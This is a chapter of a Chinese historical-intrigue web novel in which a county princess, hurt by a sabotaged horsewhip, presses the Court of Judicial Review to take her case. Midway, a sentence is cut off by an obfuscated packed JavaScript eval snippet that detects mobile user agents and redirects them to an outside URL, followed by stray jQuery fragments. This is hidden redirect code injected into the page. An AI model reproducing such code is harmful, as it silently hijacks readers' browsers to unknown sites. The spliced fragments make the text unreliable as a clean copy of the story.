桓清与枕着细雨睡了一夜，清早萧潋容差人来看，她只道一切安好。随后让桓徵拿昨夜那根马鞭来看，见鞭上扎满了细小的银针。


    “小姐，对方应是趁着车夫离开的间隙，偷偷更换了马鞭。马鞭形制与往常全叔用的一模一样，雨夜昏暗，全叔看不出来，策马时才伤到了逐风。”桓徵另外呈上一根银针，“我让谢总管检查过了，针上涂了蝎子草的汁液，一旦刺伤皮肤，会产生剧烈的疼痛，故逐风才会陷入癫狂状态。”


    “逐风现在如何？”


    “萧将军的侍卫不仅善于驯马，且熟识药理，逐风经其诊治，已无大碍，现在马厩中养伤，有专人看顾，小姐可以放心。”


    “好。这银针材质昂贵，制作精细，去看看是金陵城中哪家绣庄卖的，顺藤摸瓜找到买家。”


    “是，我立即派人前去查探。”


    “辛苦桓徵。”


    待他退下，连云等人过来给桓清与换药，“小姐可知是谁下的手了？”


    “有了些眉目，手段如此简陋，选个害人工具还这么费钱的，也只有她了。”


    连云见她脚踝处的瘀青，心中满是疼惜。


    “消息已经传出去了？”


    “嗯，昨晚之事沿路有不少人亲眼目睹。今晨已经放消息出去，茶楼酒肆，宫墙内外应该都有耳闻。”


    “小姐，张公公到了，说是陛下派来探望小姐的伤情。”门外有小厮前来传讯，桓清与着人备了步辇，将她从风竹苑抬往桓府主厅。


    厅内萧潋容正和张怀义寒暄。


    “我昨夜身体不适，才辞了宫中晚宴，在府里早早歇下了。竟不知，金陵城中有人敢下如此毒手谋害她，若真有个三长两短，我如何对得起长公主殿下和大哥。”


    本朝士族中人自视甚高者，多半看不起宦臣，张怀义跟在魏帝身边多年，是其得力心腹，加之为人周容有度，长袖善舞，反而颇得士族青眼。萧潋容是定国公之女，为人向来清高简傲，对张怀义倒仍有几分敬意。


    “陛下得知此事在宫里发了好大脾气，今日一早就差老奴过来看望县主，若是府里方便，还想让县主进宫休养一段时日。”


    “劳陛下忧心了，这孩子一向懂事，不爱让大人们操心，这些年她也大了，更不爱住宫里，总怕兴师动众一番劳累了旁人。待会儿她来了，看看她的意思罢。”


    张怀义缓缓颔首，低头饮了一口杯中茶。


    萧潋容坐于堂上，刚好看到门口落下的步辇，对身旁的侍从吩咐道：“让他们将步辇抬进来，小姐还伤着，如何教她下地。”


    侍从们将桓清与抬进厅内，萧潋容和张怀义看见桓清与用纱布绑着腿、吊着左臂的模样，都不禁起身前来照看。桓清与在连云的搀扶下下地，瘸着一只腿站在厅中，向萧潋容和张怀义见礼。


    萧潋容一把扶住她，心疼地说道，“天刚亮我要来看你，你拦着，只说一切都好。这又是瘸了腿又是断了手的，算怎么个好法？”


    桓清与反手握住潋娘，笑着说道：“潋娘你别看我这样子吓人，其实没多疼，都是连云他们太紧张了。”说完，她连忙再向张怀义致歉，“张公公快请坐，您平日里可是大忙人，劳您这么跑一趟，清与实在过意不去。”


    “县主这是哪里话，今早陛下一听说您受了伤，着急得不得了，立即派了老奴来瞧，若不是紧着上朝，晚来还得跟大齐使团商量和亲事宜，他恨不得亲自过来一趟才安心呢。”


    桓清与正挨着张怀义的席位坐下，“是清与不当心，让舅舅担心了。原不是什么大事，只是昨夜雨下得太大，马儿受惊了，才受了点皮外伤，过几日便好了。”


    “事已至此，你又何必再为他人粉饰，苦了自己？”萧潋容转头对张怀义说道：“张公公不是旁人，我就直说了。今晨我让府里的侍卫去查探，车夫的马鞭被人做了手脚，才有昨晚的事故，这分明是有人想谋害清与。


    桓家虽离开了中枢，二爷这大鸿胪的差也没什么实权，但桓氏三代效忠大魏，大哥、三弟和长公主都曾浴血沙场，为大魏鞠躬尽瘁。如今有人想谋害忠良，掀起士族高门之争，我也绝不会坐以待毙，必要将此事查个水落石出！”


    张怀义听得这一席话，心下暗叹萧氏将门之女果然勇毅非凡，只道：“二夫人息怒。您说得是，陛下也有如此考虑，出宫前交代过老奴，此事若有内情，可差上大理寺与府中一同协查。”


    桓清与听萧潋容提及父母，及桓氏世代名誉，颇有些歉疚地说道：“潋娘不必太过挂怀，这事既是冲着我来的，自不必劳动潋娘，清与会处理妥当，绝不让任何人堂而皇之地欺侮了桓氏。”


    她转头看向张怀义，“多谢公公提醒，这件事不论私人恩怨还是高门之争，都有违理法。晚些时候我便去大理寺上诉，请大理寺协助查案，将谋害我的人绳之以法。”


    张怀义见事态变得越发严重，只能颔首称是，随后将魏帝特地赏赐的金银珠宝、绫罗绸缎、珍贵药材等一一赐下，便启程回宫。


    桓清与回到风竹苑，桓徵已拿到月绣庄掌柜的账本和供词，和桓清与所料不差。碧芜则传回消息，容芝妍今日在黄金台有午宴。


    山凌、崔菀等人亦遣人来问了桓清与的伤情，她派人回复各府，午时在黄金台宴请他们几位，又在案台前俯首写了一纸信笺，让人即刻送了出去。


    交代完几桩事，桓清与独自一人侧坐在露台的秋千上，右脚轻轻点地，秋千在空中一荡又一荡，好似要一直这样坐下去，直到天荒地老。


    /


    巳时末，桓清与乘马车来到大理寺前殿，当值的官员对她百般客气，先请入内殿端茶倒水伺候着，又是一串又一串的客套话哄着。当桓清与说明来意，此人却道事关重大，做不得主，须去请示过大理寺卿曾良才好处理此事。


    桓清与在殿中等候了两刻钟，仍不见那人来回禀。遂教侍从用步辇抬着她转悠到官员集中办公的议事堂前，缓缓下地，堂内人来人往，案前众人依旧翻阅、讨论着卷宗，对她视若无睹。


    她左手撑着拐杖，重心落在右腿上，端端正正立于门前，向内高声说道：“前任尚书令桓安与晋国长公主之女、淮阴县主桓清与，前夜遭大司徒容铉之女容芝妍暗算，雨夜惊马，险伤性命。今上诉大理寺申冤，敢问堂中哪一位大人，愿接管此案？”


    此话一出，堂中众人皆是一惊，纷纷停下手中之事，不敢出半点声响，却无人回应。


    “请当值的大人出来续话。”


    依旧无人出列。堂内一个着绯色官服的年长官员，轻轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644586|186752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呵了声哈欠，众人又默默忙起了自己的事情。


    这是曾良故意下她的脸，桓清与不以为意，只转动眼珠环视堂中，有人卷宗下压着几个盛蜜饯果子的食盘；有人坐席下垫着数件常服，身上的官服穿得松松垮垮；有的香炉边摆着一份吃了一半的烤羊腿，案前之人还用满是油渍的手快速翻动整整齐齐的卷宗。


    她心中冷笑，朗声再问：“许师许主簿可在堂中？”


    不一会儿，许师自左下首角落中起身，他拍了拍久坐之后皱了的官服，目不斜视、快步流星走至门前，向桓清与躬身作揖，道：“许师在此，县主别来无恙。”


    “许主簿您说，我这是有恙还是无恙呢？”


    许师笑了，“下官俯案半日，眼有些花了，请县主恕罪。”


    桓清与浅笑不语，转头看向堂内，“我前夜被人谋害，今上诉大理寺，当值的官员给我倒了杯水就不见了人，说是请示大理寺卿曾良，半个时辰了仍不见人来。不知这案子，大理寺是接还是不接？”


    堂中不少人噤若寒蝉，曾良不发话，却仍是无人回话。


    许师静立于门前，似在等候她继续发作。


    “金陵城中，有人公然谋害陛下的亲外甥女、高门贵胄，大理寺却拒不受理，敢问诸位，这可还是大魏主管刑罚的部门？抑或只是你们胡吃海喝、日夜醉酒、食五石散、斗蛐蛐、纵情声色的放浪之地！”


    桓清与目光扫过一个个桌案上连酒杯、餐食、五石散都还未藏严实的官员，字字铿锵地说道。


    那位绯色官服的官员，背影动了动，似变换了下坐姿，背对门口懒懒地吩咐道：“许师，你平日最爱鼓捣事儿，此番就差你接管此案，让县主赶紧回家歇着吧。”


    “是，大人。”许师转身对着他的背影行礼，接受了上级的安排。


    “桓清与谢过曾寺卿，五石散伤身，大人可要多多保重身体才是！”她收起一脸不屑，声调不变地对许师说道：“此案详情，还请许大人随我移步续话。”


    说完，自己坐上步辇直直往大理寺正门而去，在马车中等候许师。过了一会儿，许师才携书箧上车。


    “听闻许兄平生志愿是进大理寺断案，如今看来，愿望可达成了？”


    “此事还得多谢县主向陛下举荐，近来一向忙碌，未能上门拜谢，是师礼数不周了。”


    “哦，只因忙碌？”


    许师笑起来，“忙碌的确是托词。师家徒四壁，一点俸禄只够糊口，实在没有什么谢礼拿得出手。”


    这下轮到桓清与哑口无言。她低首斟茶，双手举杯奉至许师身前，低声道：“清与失礼了，许兄勿怪。”


    他笑着摆首，双手接过茶杯，只道：“多谢县主。”


    “清与此番相求，不知是否令许兄为难了？”大理寺的主理官员均为容氏门人，这曾良早年曾是容铉任江州刺史时府中的参事。她一早便知上诉大理寺会吃个闭门羹，才写了一页小笺，将今日来访的缘由提前告知许师，希望他能助自己一臂之力。


    “不为难。”许师回得十分爽快，“这半月里，师好似都在等待这桩案件的到来。”


    “那我应该伤得早一点才是，劳烦许兄久等了。”桓清与调侃道。


    许师淡笑着，不再言语。